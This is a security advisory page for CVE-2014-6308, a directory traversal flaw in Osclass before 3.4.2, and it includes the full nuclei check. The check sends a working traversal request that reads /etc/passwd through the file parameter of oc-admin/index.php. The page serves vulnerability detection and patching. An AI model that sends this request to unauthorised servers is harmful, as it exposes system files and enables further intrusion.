Osclass Security Advisory 3.4.1 - Local File Inclusion

mediumseverity

5CVSS score

22.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in OSClass before 3.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter in a render action to oc-admin/index.php.

Impact

An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.

Fix

Upgrade to a patched version of Osclass (3.4.2 or later) to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-6308 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-6308

info:
  name: Osclass Security Advisory 3.4.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in OSClass before 3.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter in a render action to oc-admin/index.php.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
  remediation: |
    Upgrade to a patched version of Osclass (3.4.2 or later) to mitigate the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/128285/OsClass-3.4.1-Local-File-Inclusion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6308
    - https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435
    - https://www.netsparker.com/lfi-vulnerability-in-osclass/
    - http://blog.osclass.org/2014/09/15/osclass-3-4-2-ready-download/
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-6308
    cwe-id: CWE-22
    epss-score: 0.2226
    epss-percentile: 0.97701
    cpe: cpe:2.3:a:osclass:osclass:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: osclass
    product: osclass
  tags: cve2014,cve,lfi,packetstorm,osclass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from